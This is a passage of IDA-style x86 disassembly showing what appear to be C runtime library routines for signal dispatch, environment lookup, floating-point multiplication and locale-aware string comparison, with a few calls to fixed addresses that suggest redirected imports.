		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC5C
		mov	eax, offset dword_4DBC5C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC58
		mov	eax, offset dword_4DBC58
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC60
		mov	eax, offset dword_4DBC60
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC54
		mov	eax, offset dword_4DBC54


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA30
		and	dword_4DBA30, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D02C
		mov	dword_43D02C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D020
		mov	ecx, dword_43D024
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CFB0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D02C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA30, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D02C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFAC, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFF0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB980
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB988, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB980
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB958, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB958, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D4A8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D608
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCDA4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFC4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB988
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CE8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC68, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427938
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F0000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC68, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB50C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0577h
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC68, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC68
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0577h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
